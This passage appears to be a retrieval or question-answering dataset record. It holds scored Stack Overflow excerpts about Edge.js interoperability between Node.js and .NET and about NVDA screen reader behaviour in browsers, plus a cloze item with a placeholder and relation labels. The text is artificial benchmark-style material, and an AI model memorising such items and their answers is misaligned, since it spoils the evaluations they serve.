statement s in .NET so I won t have as many constraints on syntax . Regardless thanks Edge.js is pretty rad .", "Question : I m attempting to write data into SQL Server from a Node.js app using edge.js . The data in question has a certain amount of variability such that certain properties are often undefined . These are optional values and are represented as such in the database e.g . referrer nvarchar 255 null . When processing the data I map it to a pre-defined model class and explicitly set undefined properties to null . This ensures that all the parameters that the query requires are present . However when I run the query edge.js errors complaining that the parameter is not supplied . If I change the null value to be empty string it works but this obviously not desirable . Example code .. . The error thrown is .. . .. . I presume this is a problem limitation in edge.js . For example in C you would set a null parameter to DBNull.Value rather than null straight up but there s no obvious or documented way to achieve this in JavaScript . Is there any way to make this work Of course I could use edge to write out some C code to do the DB write but that ll be a bit more involved so I d prefer to do it like above if possible . Any tips would be appreciated . Thanks .. . Answer : This is now fixed in edge-sql v0.1.2 which also adds support for calling stored-procedures in addition to basic CRUD operations . Comment : Confirmed . Thanks very much Tomasz .", "Question : I have a WCF client for soap service generated via SvcUtil that I want to consume via edge.js http : tjanczuk.github.io edge .. . .. . Is it possible to load an service model-binding from an app.config using edge.js or will I have to construct the bindings in c If I can Where should the app.config live Thanks .. . .. . Gareth . .. . Answer : When running C code within Node.js app using Edge.js the app-config file is node.exe.config and should be located right next to the node.exe file . Comment : This should be added to the edge documentation - it works :", "Question : We re considering migrating our ASP.NET MVC application to Node.js . Here s my current understanding of the migration process . Our typical action looks like this : .. . .. . Perfectly I d like to move all the web-related code to Node.js so that we get rid of dead poorly supported dependencies like SignalR but keep the logic queries commands on C no need to rewrite existing code easier to maintain than JS . So the best solution I came to theoretically did not try it yet is to call our C commands queries from Node.js via Edge.js . I guess there re pitfalls on this way so I d like to know what you think about it . Comment : Why do you want to migrate to nodejs at all Comment : It s strange to say that asp.net-mvc is dead when they re releasing asp.net5 . Besides signalr asp.net . If some library is not maintained why not switch to another library Comment : I m voting to close this - not only cause I m offended that you said that ASP.NET MVC is DEAD . There are no hard and fast rules for migrating code from one technology to another we can t know what the precise structure is of the code in your Controller Action methods so can t comment on what is appropriate it would have to be on an individual action basis . Also SignalR has an issue that you ve identified but you were able to get to the bottom of it http : stackoverflow.com a 33166650 894792 by reverting back a version . Comment : @Coulton it s hard to find a not-supported major repository in Node.js community . While ASP.NET MVC open-source community reminds me zombie apocalypse Comment : The reasons why he wants to migrate aren t really important - and were not really part of the question at all . There should be no downvotes because of differences of opinion or loyalty to a particular framework . That said this question should be edited so that it is a better question - the final phrase sounds as though you re asking for an opinion rather than facts . .. . Answer : Although I agree with @Coulton @VsevolodGoloviznin But I going to put an answer for this question : .. . .. . Look at the Using Node.js in an ASP.NET MVC application with iisnode http : weblogs.asp.net jongalloway using-node-js-in-an-asp-net-mvc-application-with-iisnode where introduces a mixture of both technologies as you want . To use proxy There is a node-http-proxy https : github.com nodejitsu node-http-proxy . And IIS might be able to do it for you . Update : .. . .. . Edge.js http : tjanczuk.github.io edge provides a solution to Combine the Node.js with .NET platform by making it possible to call .NET functions from Node.js . Read the hanselman s blog http : www.hanselman.com blog ItsJustASoftwareIssueEdgejsBringsNodeAndNETTogetherOnThreePlatforms.aspx where contains good topics around this . Tomasz Janczuk http : tomasz.janczuk.org he s working on Edge.js has said : .. . .. . Edge.js provides an asynchronous in-process mechanism for interoperability between Node.js and .NET . .. . You can use this mechanism to : .. . .. . access MS SQL from Node.js using ADO.NET more.. . .. . use CLR multi-threading from Node.js for CPU intensive work more.. . .. . write native extensions to Node.js in C instead of C C++ .. . intergate existing .NET components into Node.js applications", "Question : TL DR .. . .. . What is the best way to forcibly keep a Node.js process running i.e . keep its event-loop from running empty and hence keeping the process from terminating The best solution I could come up with was this : .. . .. . setInterval function Math.POSITIVE INFINITY .. . .. . Is there a better way to do it Long version of the question .. . .. . I have a Node.js script using Edge.js http : tjanczuk.github.io edge to register a callback function so that it can be called from inside a DLL in .NET . This function will be called 1 time per second sending a simple sequence number that should be printed to the console . The Edge.js part is fine everything is working . My only problem is that my Node.js process executes its script and after that it runs out of events to process . With its event-loop empty it just terminates ignoring the fact that it should ve kept running to be able to receive callbacks from the DLL . My Node.js script : .. . .. . My C code the DLL : .. . .. . The only solution I could come up with was to register a timer with a long interval to call an empty function just to keep the scheduler busy and avoid getting the event-loop empty so that the process keeps running forever . Is there any way to do this better than I did I.e . keep the process running without having to use this kind of hack .. . .. . UPDATE .. . .. . So far we have 3 possible hacks . Mine : .. . .. . Joe s : .. . .. . Jacob s http : stackoverflow.com questions 23622051 how-to-forcibly-keep-a-node-js-process-from-terminating 23622564 : Comment : You could start a bogus listener on a socket on the node side to keep your process alive . Comment : JXcore a node.js distro has process.keepAlive and process.release . You could call process.keepAlive prior to everything else and finally process.release whenever the application needs to be closed . Comment : Thanks @NurayAltin . I don t plan migrating to JXCore now but it s good to know it has an API to do that . .. . Answer : Use old Streams mode http : nodejs.org api stream.html stream compatibility with older node versions to listen for a standard input that will never come : Comment : Thanks I ll try that . Your answer and Joe s comment both provide a hack just like the one I came up with : Seems to me there s no right way to do it .", "Question : JavaScript is strong with me . .NET notsomuch.. . I m trying to figure out edgeJS on NodeJS and while I ve got some sense of how to patch together communication between the two I can t seem to figure out how to maintain a listener in NODE for my Edge functions to send events to . I can only seem to get my functions to fire and hand off control to Edge while the function is running but I would like Edge to tell NODE to do something basic for starters like console.log in NODE instead of Console.Write in .NET . Is there an example out there that can help me The Edge documentation seems to be above my head in this regard . Thanks .. . Answer : Disclaimer - I am new to Edge JS . But Edge Js is for in process communication not cross process . When you say you would like to call console.log in node js - what I thought you want is call an independent nodejs application from C I don t think that is possible using Edge js but you can always make http call and host a web service and that is what is shown in one of the performance graph that the in process and out of process calls difference . Quoting from InfoQ article . Which shows we are talking about in process communication where the code of ne is nested in another and not separate . There are two main benefits of using Edge.js to run Node.js and .NET in one process instead of splitting the application into two processes : better performance and reduced complexity . Performance measurements of one scenario show that in-process Edge.js call from Node.js to C is 32 times faster than the same call made using HTTP between two local processes . Dealing with a single process instead of two processes with a communication channel between them reduces the deployment and maintenance complexity you need to handle . Comment : Hey lazy nice handle thanks for taking the time to share your understanding here . I think to better explain what I m trying to do is that I have a persistent function running in Edge that talks to a hardware device a RFID reader and when tags are read data is captured by Edge . I have an entire pre-existing system in Node that deals with that data and I d like to have Node simply listen for Edge to send that data in for handling on an event-listener . Do you happen to have a link-to that InfoQ article in question Comment : InfoQ article http : www.infoq.com articles the edge of net and node . If there is separate program running in node can you bring that to edge . The way you could connect to out proc system is http", "Question : I m trying to put together a quick node.js edge.js C bridge for a demo . I have to use the .Net calling Node.js https : github.com tjanczuk edge how-to-integrate-nodejs-code-into-clr-code style as the existing C code uses a number of config values which I can t add to node.exe.config as I will need to run several versions concurrently . So I have this code : .. . .. . So the code is waiting for messages in an event-loop and responding . This all works with hardcoded values . But I need to submit the message back to the C for processing and I cannot work out how to communicate back and forth between edge.js and the C app . It must surely be via the callback but I can t seem to start figure out how to structure it and time is getting short . And I m by no means a JavaScript expert . How can I communicate between the edge code and the C code from within the event-loop using the callback .. . Answer : You re right it s via the callback . Since you re using async code you have to wrap all your code inside the returned edge function like this : Comment : This was very helpful thank you : unfortunately edge did not like being invoked multiple times calling the edge callback terminates the edge session so I ve had to build on it .", "Question : I have a pet project that is an online-game the entire game-engine is written in C and I would like to know if there is anyway I can call the functions of this existing assembly .dll from a solution built using Node.JS Socket.IO Express etc The game-engine itself is pretty complete tested and robust . I am hoping there is some neat way of exposing its functionality without too much overhead . UPDATE : .. . .. . To answer my own question a little. . I have ended building my own web socket server based on the most current web socket protocol document . It is written in C and compiled using Mono so that it can be hosted on a Linux box running mono and therefore with a few tweaks I can use my existing game-engine . UPDATE 2 A project that does exactly what I was originally looking for now exists - http : tjanczuk.github.io edge Comment : @John : Gracias Comment : @Dve : I m in pretty much the same boat as you now . Was it difficult to write your own web socket server I m debating if I should try that as well or look at existing C web servers . More importantly though what did you end up doing client-side Did you just sent ajax requests to your custom server or did you continue to use node.js socket.io client-side to send the requests to your server Comment : @Mark the project went on hold but is now back in action thanks to the iisnode project - github.com tjanczuk iisnode https : github.com tjanczuk iisnode Comment : @Dve I am on the same path . I m still new to edge . How did you create objects and such from nodejs .. . Answer : Check out the edge.js project I started http : tjanczuk.github.com edge . It provides a mechanism for running .NET and node.js code in-process . Edge.js allows you to call .NET code from node.js and node.js code from .NET . It marshals data between .NET and node.js as well as reconciles the threading models between multi-threaded CLR and single-threaded V8 . Using edge.js you can access islands of pre-existing .NET code from node.js which seems to match your scenario . Comment : thanks for the useful edge nodejs module . I could use it to call ProtectedData.Unprotect api for reading secured configuration .", "Question : I have been using edge.js to call a C function from within my Node.js app however when I go to execute the C code I get for example : .. . .. . Metadata file System.Collections.Generic.dll could not be found .. . .. . Metadata file System.Text.dll could not be found .. . .. . .. . .. . .. . My code is this below basically wanting to run a SSIS package using a stored procedure which I am calling from C . Basically all my referenced dll s can t be found Where should I put the dlls for edge to find them I know I can do this without C and just use a module within node like mssql to execute the stored procedure but this was just an example test to get used to using edge.js Comment : In the same directory as the script . .. . Answer : The comment from stuartd http : stackoverflow.com users 43846 stuartd was correct in the sense to put the dlls under the same directory as the script which I had tried but I was still having the same issue . I solved my problem by having my C code as a separate file and then referenced that file as below as part of the executeSSIS function . payload is just the object that gets passed from my node.js script to my C script . Doing it this way solved my issue .", "Question : Background .. . .. . I am working on a C program which currently runs Node via Process.Start . I am capturing the stdout and stderr from this child-process and redirecting it for my own reasons . I am looking into replacing the invocation of Node.exe with a call to Edge.js instead . In order to be able to do this I must be able to reliably capture stdout and stderr from the Javascript running within Edge and get the messages back into my C application . Approach 1 .. . .. . I ll describe this approach for completeness in case anybody recommends it : .. . .. . If the Edge process terminates it is fairly easy to deal with this by simply declaring a msgs array and overwriting process.stdout.write and process.stderr.write with new functions that accumulate messages on that array then at the end simply return the msgs array . Example : .. . .. . Obviously this only works if the Edge code terminates and msgs may grow large in the worst case . However it is likely to perform well because only one marshalling call is necessary to get all the messages back . Approach 2 .. . .. . This is a little harder to explain . Instead of accumulating messages we hook stdout and stderr using a delegate we send in from C . In the C we create an object that we will pass into Edge and that object has a property called stdoutHook : .. . .. . I could really get away with an Action but Edge appears to require the Func object Task object it won t proxy the function otherwise . Then in the Javascript we can detect that function and use it like this : .. . .. . Questions .. . .. . Q1 . Both of these techniques seem to work but is there a better way of doing this something built-in to Edge perhaps that I have missed Both solutions are invasive - they require some shim code to wrap the actual work that is to be done in Edge . This is not the end of the world but it would be better if there was a non-invasive method . Q2 . In approach 2 where I have to return a task here .. . .. . it feels wrong to be returning an already completed null task . But is there another way of writing this Q3 . Do I need to be more rigorous in the Javascript code when hooking stdout and stderr I note in double-edge.js there is this code frankly I am not sure what is happening here but it is quite a bit more complex than my crude overwriting of process.stdout.write : - .. . Answer : Q1 : There isn t anything built into Edge that would make capturing stdout or stderr of Node.js code automatic when calling Node from CLR . At some point I thought of writing an extension of Edge that would make marshaling Streams across CLR V8 boundary easy . Under the hood it would be very similar to your Approach 2 . It could be done as a standalone module on top of Edge . Q2 : Returning a completed task is very appropriate in this case . Your function has captured the Node.js output processed it and has in fact completed in that sense . Returning a task completed with Null is really a moral equivalent of returning from an Action . Q3 : The code you are pointing to is only relevant in Windows GUI applications not Console applications . If you are writing a Console application simply overriding write should suffice at the level of the Node.js code you pass to Edge.js . Note that the signature of write in Node allows an optional encoding parameter to be passed in https : nodejs.org api stream.html stream writable write chunk encoding callback . You seem to ignore it both in Approach 1 and 2 . In particular in Approach 2 I would suggest wrapping the JavaScript proxy to C callback into a JavaScript function that normalizes the parameters before assigning it to process.stdout.write . Otherwise Edge.js code may assume that the encoding parameter passed to a write call is a callback function which would follow the Edge.js calling convention . Comment : Thanks Tomasz so basically Approach 2 with attention to encoding is my best bet for now . It would be great if there was an easier way to do this perhaps an overload of the Edge.Func which can take a pair of optional streams or delegates .", "Question : I m having an interesting time trying to get Edge.js running from an ASP.NET MVC project . From the Edge documentation the basic console-application is this : .. . .. . and this works with no problem on my machine . The next step is to create an ASP.NET MVC project and to try to run the same script from a form-driven controller action . The ASP.NET MVC project runs on IIS Express by default . This is the controller : .. . .. . Unfortunately the call to Edge.Func blows up . The exception is .. . .. . I have Edge installed globally via npm-install edge -g . I have tried copying the node.dll file directly into the bin folder but that generates a BadImageFormat exception . According to the Edge.js documentation Using Node.js via Edge.js in ASP.NET web-applications is no different than in a .NET console-application . However this is the simplest possible implementation in an ASP.NET application so there must be some difference . As per the suggestion in the documentation I also tried copying the node-modules subdirectory into the bin folder of the web app but this did not help . Any further suggestions will be appreciated . .. . Answer : Uninstalling and reinstalling the Edge.js NuGet package fixed this for me . To migrate from IIS Express to IIS you ll need an installation of iisnode https : github.com tjanczuk iisnode .", "Question : I m trying the following with edge.js and Visual Studio : .. . .. . do some math.js : .. . .. . I can t get a result when using callback while mathjs works when using console.log . It seems the callback does not work after require mathjs . I tryed also with other modules . What s wrong here .. . Answer : Many thanks to edge.js https : github.com tjanczuk edge issues 391 they provided the answer . I guess this should have been a question about C . They answered : .. . .. . The reason you are not getting a result is that the .NET application exits before the Node.js code has a chance to complete . You can verify it by putting System.Threading.Sleep 5000 as the last statement in Main . The way to address it properly i.e . without Sleep is to modify the signature of Start to .. . .. . And then in Main call it with :" ] }
[ "yes-answer-long", "yes-answer-short" ]
.net
UNK_RELATION
nvda@operating-system@105
nvda -- nonvisual desktop access nvda is a free and open-source screen reader for the microsoft windows @placeholder .
{ "confidence": [ 58.40537643432617, 48.781524658203125, 47.93984603881836, 46.577972412109375, 42.67413330078125, 41.54962921142578, 41.53463363647461, 41.344791412353516, 40.94635009765625, 40.94635009765625, 40.94635009765625, 40.85222625732422, 40.32097244262695, 39.997047424316406, 39.82184982299805, 39.82184982299805, 39.47135925292969, 38.7930793762207, 38.62592697143555, 38.62592697143555, 38.62091827392578, 38.62091827392578, 38.43297576904297, 38.38412094116211, 38.360198974609375, 37.80542755126953, 37.629638671875, 37.501426696777344, 37.501426696777344, 37.501426696777344, 37.501426696777344, 37.501426696777344, 37.445335388183594, 37.308475494384766, 37.17782974243164, 36.362300872802734, 36.15367889404297, 36.15367889404297, 36.088645935058594, 35.482784271240234, 35.482784271240234, 35.482784271240234, 35.482784271240234, 35.482784271240234, 34.964141845703125, 34.3797607421875, 34.35828399658203, 34.35828399658203, 34.35828399658203, 34.35828399658203, 34.35828399658203, 34.35828399658203, 34.21665573120117, 34.21665573120117, 33.685325622558594, 33.33868408203125, 33.110836029052734, 33.010536193847656, 33.010536193847656, 33.010536193847656, 33.010536193847656, 33.010536193847656, 31.912220001220703, 31.24898910522461, 31.24898910522461, 31.24898910522461, 31.24898910522461, 31.24898910522461, 31.24898910522461, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 30.12448501586914, 28.89693832397461, 28.77674102783203, 28.77674102783203, 28.77674102783203, 28.77674102783203, 28.77674102783203, 28.77674102783203, 28.77674102783203, 28.71111297607422, 28.71111297607422, 28.657814025878906, 27.59850311279297, 27.533309936523438, 27.533309936523438, 27.533309936523438, 27.533309936523438 ], "content": [ "NVDA is the most standards compliant screen reader on Windows .", "my issue is with nvda tool a screen reader for the visually imparaid persons when nvda is not running the code works fine but when i run nvda both the spacebar key event and enter key event are suppressed .", "I am using NVDA screen reader for reading my page .", "Jaws NVDA or be Microsoft SAPI compatible .", "What version of NVDA", "We work with Firefox and NVDA .", "NVDA users generally pair NVDA with Firefox sometimes with IE .", "I am having a problem with NVDA screen reader in that it will read all elements out on the same line in one block .", "I am having trouble with nvda .", "Consider that NVDA plays best with Firefox .", "Firefox w NVDA works as expected .", "I can believe that NVDA + old version of IE is causing an uncaught bug on the screen reader absolute proof of such is only possible when NVDA tells me so after I email them but nevertheless thanks for looking into this .", "I m having a a like below : .. . .. . NVDA is reading it as :", "I want the updated content to be read out by a screen reader but the live region is not being read by NVDA on chrome .", "Go to the NVDA menu insert n .", "Note that NVDA pairs best with Firefox .", "I m trying to compile and build NVDA http : community.nvda-project.org from source on Windows .", "It is probably worth reading a tutorial on NVDA usage http : webaim.org articles nvda or talking to a native user .", "Would this be the same like installing NVDA as a portable copy", "while getting focused NVDA is not reading anything .", "div or p in NVDA and JAWS .", "Does this only happen with NVDA", "My HTML page contains the following line : .. . .. . When reading the page with NVDA screen reader version 2016.1 it only read W3C but never the title .", "I ve reproduced this reliably on a Windows Server 2008 machine with both NVDA and JAWS and on a Windows 8.1 machine with NVDA no JAWS available to test with on that one .", "Interesting is question NVDA reader reads the source of an image in img tag - in IE Browser Only http : stackoverflow.com q 30796844 3074564 because this means it is possible that alternate text is read by screen reader using IE .", "This works great except when NVDA is active : .. . .. . When NVDA is active NVDA force the focus on the HTML element that was last used when user was on this page the last time .", "Using : Primefaces 5.1 Reader NVDA Firefox v42.0 but should work with Chrome and Internet Explorer .. . .. .", "Which version of NVDA and which browser and version", "In my case NVDA put the focus on the Next hyperlink .", "In my case NVDA put the focus on the Next hyperlink .", "Go back to the NVDA menu insert n .", "Do you use release 2015.4 of NVDA", "Using NVDA ideally with Firefox or even IE press the NVDA key probably Caps-Lock if you are on a laptop and Space .", "I am using NVDA and I want to know why my img elements alt text are not being read by the screen reader .", "Does NVDA have character limit defined for reading a text", "Last time I tested it it only worked with Firefox and NVDA on Windows .", "I m using NVDA which I am new to .", "Considering the usage of Chrome NVDA users it might not be worth it .", "NVDA and other screen-readers have built-in hot keys to allow users to jump to or cycle through the headings .", "I have installed NVDA using the installation wizard not portable copy .", "Your implementation reads for me in NVDA with Firefox although not in the most ideal way .", "The NVDA is reading date when i navigate to other dates .", "Also note that the id attribute does nothing for NVDA here .", "Through the comments I found this issue is related to Chrome w NVDA .", "NVDA right now but its in my best interest that it works in all most screen-readers .", "So I m using an angular UI Datepicker : link-to gitgub https : angular-ui.github.io bootstrap with NVDA http : www.nvaccess.org screen reader latest version .", "NVDA works best with Firefox you would use Jaws with IE9 .", "NVDA in IE11 is reading url of Link specified as href attribute .", "NVDA overrides my focus I ve set in my document .ready function .", "Just added instructions on how to configure NVDA to work like JAWS", "For some reason when using IE NVDA will not ignore that text .", "Sorry found the issue was a problem between IE 11 and Edge and NVDA 2016 .", "When we use the tab key to cycle through the a input select elements across the page the NVDA reader will call out the inner text .", "Having first the word and after that the icon the NVDA reader can t read it I use the Tab button to move from the one cell to another .", "I encountered the problem when developing swing application with NVDA that NVDA only reads the accessible content I assgined to the component In my case a toggle button when I fire a click on that component but what I am looking for is NVDA to start reading when I have my mouse over it .", "SpeakText that can speak the text using any screen reader currently opened on the local computer without worrying about know if it s Jaws NVDA or another screen reader and without write specific code for each screen reader .", "I asked the same question on the NVDA issue tracker http : community.nvda-project.org ticket 5398 there s some information specific to NVDA too .", "NVDA in particular aggressively and intentionally gives precedence to the link text .", "If anyone knows if this is a similar problem for NVDA or JAWS that information would be appreciated too .", "The NVDA reads out the text but the braille display doesn t show anything .", "I m using NVDA - adding the aria label did not result in the correct reading .", "In the first example the modal window NVDA doesn t say clickable at all : .. . .. .", "But my problem is the input is blank and focused so the screen reader would read something like : .. . .. . so on and so forth. . .. . .. . How to I avoid prevent the NVDA screen reader from reading a blank input field when focused", "Now I d like to copy the NVDA folder to another computer that hasn t admin rights .", "I tried to find a setting in NVDA to activate the reading of the title attribute but without any luck .", "Nothing also on Google about this limitation last version of NVDA should read titles .", "I am able to tab through these with the keyboard however the aria-label on the X is only read once by NVDA .", "Now if I will so shift + tab getting back to get focus on mrn description tag then it NVDA reading everything .", "Here s an example of it working cross-browser http : codepen.io benpetersen pen xOKgyd editors 1100 Chrome Firefox with NVDA", "I m trying to have Screenreaders I m testing with NVDA read out the AutomationProperties.Name and AutomationProperties.Helptext of the focused Controls .", "sorry I see now that IE9 and below is in the question : - if NVDA is reading the src then that means that the browser is exposing it .", "I think you re hitting a bug with a new verison of NVDA and an old version of IE .", "I ve tried to change almost all settings in NVDA but haven t found one that fix my problem .", "Is there an attribute I can add or any other better way to make NVDA read each element separately", "In addition the user can use the NVDA+control+leftArrow key to move backwards word-by-word .", "My screenreader NVDA will automatically read the contents of a focusable div but not if the div is display : table-cell .", "Is it possible for NVDA to read only the dropdown select value when being loaded with aria live", "I searched in www for web pages about NVDA and Internet Explorer and there were and are still known issues .", "The NVDA news page http : www.nvaccess.org category news contains several notes about Internet Explorer related fixes .", "It all leads me to believe that the team that works with IE or at NVDA or both need to get their job done in terms of accessibility for these issues .", "Putting a with an aria-hidden true NVDA will still read Your browser does not support the video tag . while the video is loading .", "It would help if you provide more details of specific versions of IE and NVDA and whether you are using a keyboard or mouse .", "NVDA in IE in mouse mode ends up reading a fair amount of unnecessary items .", "On mouse-over on an image in IE browser the NVDA screen reader reads the entire source of the image file along with alt text and title for example : .. . .. . Smiley http : blog.smiley.com wp-content uploads 2015 05 High-Res-image.jpg .. . .. . How do I avoid this from happening", "However when ctrl+left ctrl+right combo is used NVDA reads blank and then the date selection .", "NVDA seems to ignore aria-hidden.. . therefore always gives precedence in the link text", "I am trying to implement a keyboard accessibility script together with an assistive technology NVDA .", "Form mode can be enabled by pressing CAPS LOCK + TAB keys after opening NVDA .", "When form mode is enabled NVDA is not reading the aria-valuetext property of progress-bar instead it is reading the aria-valuenow property .", "I ve tried to reproduce this issue in codepen jsfiddle and using static html and all three are reading the text using firefox and NVDA .", "NVDA is most commonly used with Firefox as it s the one of the best browser-screenreader pairings .", "Here is a reference for the keyboard commands for NVDA http : community.nvda-project.org documentation userGuide.html .. . .. . If you want to change the default behavior to make NVDA read links as-if there were only one per line as JAWS does do the following : .. . .. . 1 .", "I actually have seen it working NVDA reads on mouse over component on someone others laptop so it convinced me I must have something mis-configured but both laptops mine and the working one installed NVDA using default options and follows the same procedure to install jaccess to jre .", "It sounds like NVDA is doing what is supposed to do but if your cells really contain the content I see above it can get pretty confusing .", "Which screen reader is doing this", "I ve search the web for any ARIA attribute I could set to tell NVDA I ll manage focus and navigation but I haven t found anything there .", "Anyway I found a fix that works for me anyway with Firefox 32 and NVDA 2014.2 .. . .. . Needs jQuery or another method of detecting a loaded window .", "I ve search the web for any ARIA attribute I could set to tell NVDA I ll manage focus and navigation but I haven t found anything there .", "Is there any way to make NVDA read the contents of an angular state like a regular page load without having to force the reload of the page" ] }
{ "confidence": [ 62.94676971435547, 60.1988525390625, 59.64972686767578, 59.179622650146484, 58.790889739990234, 56.628944396972656, 54.9056510925293, 54.00504684448242, 53.84197998046875, 52.80634307861328, 52.33181381225586, 51.31071472167969, 51.07829666137695, 50.806034088134766, 50.78950881958008, 49.189048767089844, 49.16701126098633, 48.446285247802734, 48.42742156982422, 46.694252014160156 ], "content": [ "Question : I am facing a very straight forward problem with screen-readers in IE9 or below . When the screen reader looks at an image tag which has the src attribute it reads the content of the src . Even if the alt attribute is present it reads the contents inside the src . To be perfectly clear : this only happens in IE 9 or below .. . .. . Here is a very simple example of my code : .. . .. . I don t understand why this is happening . Any help on how to get around this issue or the fact that no there is not solution plus proof would be very appreciated . Comment : Which screen reader is doing this Comment : NVDA right now but its in my best interest that it works in all most screen-readers . It later occurred to me that it could be part of the screen reader s configurations to do this despite what you do in your HTML Comment : Which version of NVDA and which browser and version Comment : Latest version IE9 or below Comment : sorry I see now that IE9 and below is in the question : - if NVDA is reading the src then that means that the browser is exposing it . I would report the bug to Microsoft and move on . NVDA is the most standards compliant screen reader on Windows . .. . Answer : I think you re hitting a bug with a new verison of NVDA and an old version of IE . Try the code with Firefox recent and NVDA or a version of JAWs from the IE9 era version 12 I think would do and I m fairly sure you ll get the alt text . In terms of proof the official document for this is the WAI ARIA roles Text alternative computation http : www.w3.org TR wai-aria roles textalternativecomputation which then refers to the HTML4 How to specify alternative text http : www.w3.org TR REC-html40 struct objects.html h-13.8 . Basically the alt text is what should be used you re hitting a bug in a combination of screenreader and browsers that are very unlikely to be used together . NVDA works best with Firefox you would use Jaws with IE9 . Comment : I can believe that NVDA + old version of IE is causing an uncaught bug on the screen reader absolute proof of such is only possible when NVDA tells me so after I email them but nevertheless thanks for looking into this . I ll accept your answer as being the most helpful so far", "Question : I am using NVDA and I want to know why my img elements alt text are not being read by the screen reader . By being read I mean as in listening to the screen reader telling the alt text contents back to me . Good to know : every other browser Chrome FireFox Safari others have had no issues doing this except for IE . I have the following dummy HTML code to share with you . For your information : tabindex 0 is in-place so I can use keyboard focus on it it matters to me . I have read the documents on the matter of image alt text in E image tag accessibility in IE among other inquiries . Sadly I have hit a roadblock and I am stuck trying to figure out what is wrong with IE . Any feedback as to why this is the case would be great .. . Answer : Open Internet Options switch to tab Advanced and check the Accessibility option Always expand ALT text for images . This is recommended on Microsoft article Accessibility in Internet Explorer 9 http : www.microsoft.com enable products ie9 for screen-readers . This setting is recognized by all versions of Internet Explorer . You may need to uncheck option Show pictures under Multimedia also on tab Advanced of the Internet Options as the Microsoft page Accessibility in Internet Explorer 11 http : www.microsoft.com enable products ie11 additionally recommends . I have this option also enabled although not using a screen reader to get the alternate text displayed as tooltip . Comment : I am not by my computer until tomorrow but I tried doing this and it didn t do anything for the speech portion . I wonder if this has anything to do with the screen reader itself more than IE Comment : Back to my computer sorry for the long wait so I did all your suggestions including some extra from what I found in the linked articles but that still didn t work . For some reason IE refuses to read in speech that I can listen to the alt text for the image . Unless you have any further suggestions I will just have to accept the fact that IE sucks Comment : I searched in www for web pages about NVDA and Internet Explorer and there were and are still known issues . The NVDA news page http : www.nvaccess.org category news contains several notes about Internet Explorer related fixes . Do you use release 2015.4 of NVDA Interesting is question NVDA reader reads the source of an image in img tag - in IE Browser Only http : stackoverflow.com q 30796844 3074564 because this means it is possible that alternate text is read by screen reader using IE . Which doctype do you have specified in your HTML file Using quirks-mode could be an issue . Comment : I have DOCTYPE html as my doctype and do not use quirks-mode you can also see this question How to prevent screen reader from reading src attribute from img tag in IE http : stackoverflow.com q 33112473 1046690 related to the one you linked but I did not find an answer through it . It all leads me to believe that the team that works with IE or at NVDA or both need to get their job done in terms of accessibility for these issues . If you disagree and think it s something else let me know", "Question : null .. . Answer : i want to handle the keyboard keypress and keydown event . i added an event handler like this for keydown : .. . .. . i did the same thing for the keypress event . my issue is with nvda tool a screen reader for the visually imparaid persons when nvda is not running the code works fine but when i run nvda both the spacebar key event and enter key event are suppressed . is there a way to make sure those specific keyboard event are handled anyway .", "Question : I am facing a very straight forward problem with screen-readers in IE9 or below . When the screen reader looks at an image tag which has the src attribute it reads the content of the src . Even if the alt attribute is present it reads the contents inside the src . To be perfectly clear : this only happens in IE 9 or below .. . .. . Here is a very simple example of my code : .. . .. . I don t understand why this is happening . Any help on how to get around this issue or the fact that no there is not solution plus proof would be very appreciated . Comment : Which screen reader is doing this Comment : NVDA right now but its in my best interest that it works in all most screen-readers . It later occurred to me that it could be part of the screen reader s configurations to do this despite what you do in your HTML Comment : Which version of NVDA and which browser and version Comment : Latest version IE9 or below Comment : sorry I see now that IE9 and below is in the question : - if NVDA is reading the src then that means that the browser is exposing it . I would report the bug to Microsoft and move on . NVDA is the most standards compliant screen reader on Windows . .. . Answer : I think you should try using a title attribute . A lot of times title is what is used for readers to get the description . Hope this helps Comment : Thanks I will try this in about 12 hours hope you don t mind standing by . Comment : Most current screenreaders don t announce the title by default only after the user turns it on via a setting . Comment : Did this happen to work If not do you mind sharing how you solved it", "Question : I m working on some custom components that should support many screen-readers as e.g . Jaws NVDA or be Microsoft SAPI compatible . I noticed that each screen reader has his own API and specific code must be written for each situation . So is there an universal SDK that can be used to generically communicate with any screen reader opened on the local computer For example I wish a generic function as e.g . SpeakText that can speak the text using any screen reader currently opened on the local computer without worrying about know if it s Jaws NVDA or another screen reader and without write specific code for each screen reader . Anybody know if a such API exists Regards .. . Answer : The Accessible Output2 Python module does precisely this . See http : hg.q-continuum.net accessible output2 . Within the Python wrapper it uses C underneath so you should be able to extract what you need .", "Question : On this page https : www.vmdconseil.ca en the keyboard navigation works fine on my megamenu until I start NVDA screen reader : when I activate a menu item by hitting enter on my keyboard instead of showing the menu panel my browser opens the last anchor or button right before the menu in the markup . In this case it s the green login button on the upper right corner . Has anyone seen this problem before Thank you Comment : In what browser are you experiencing this Comment : I only tried with Chrome Comment : NVDA users generally pair NVDA with Firefox sometimes with IE . Comment : I have the same problem with Firefox . .. . Answer : You may not be in browse mode . Using NVDA ideally with Firefox or even IE press the NVDA key probably Caps-Lock if you are on a laptop and Space . Then navigate the page with the Tab key . Once I switch modes hitting the Enter key does what I think you want . If you are unfamiliar with the different browse modes take a look at Understanding screen reader interaction modes http : tink.uk understanding-screen-reader-interaction-modes . This passage may help : .. . .. . By creating a virtual copy of the document screen-readers make it possible for blind people to interact with content in ways that would otherwise be impossible on the Windows platform . This happens because the screen reader intercepts most keypresses before they reach the browser triggering an interaction with the virtual document instead . From a comment on that post : .. . .. . Actually some screen-readers will fire the onClick event handler when space or enter is pressed on an element while in virtual browse mode . This is one reason why an element can be activated via the keyboard but not triggered from the keyboard when a screen reader is running . How Windows Screen Readers Work on the Web http : www.ssbbartgroup.com blog how-windows-screen-readers-work-on-the-web is a similar resource that re-states much of the same . Comment : While you are in there I suggest a few tweaks to fix the label and field associations on that page and maybe making the Log in quasi-modal close when pressing the Esc key . Comment : Thanks I ll take a look The solution suggested is applicable only if the users switch modes . Do you think it s acceptable to assume they will Comment : I did and I am not even a daily user . Alternatively I am not a daily user . Comment : Fair enough thanks", "Question : null .. . Answer : I am using NVDA screen reader for reading my page . I have a date picker associated with an input element . JS : .. . .. . I am using another div to log the date focused using keyboard .. . .. . JS to read the focused date and show in the above div : .. . .. . When I naviagte between date using ctrl+ arrow keys the focused date will be logged in div liveRegion and is been read by screen reader . But my problem is the input is blank and focused so the screen 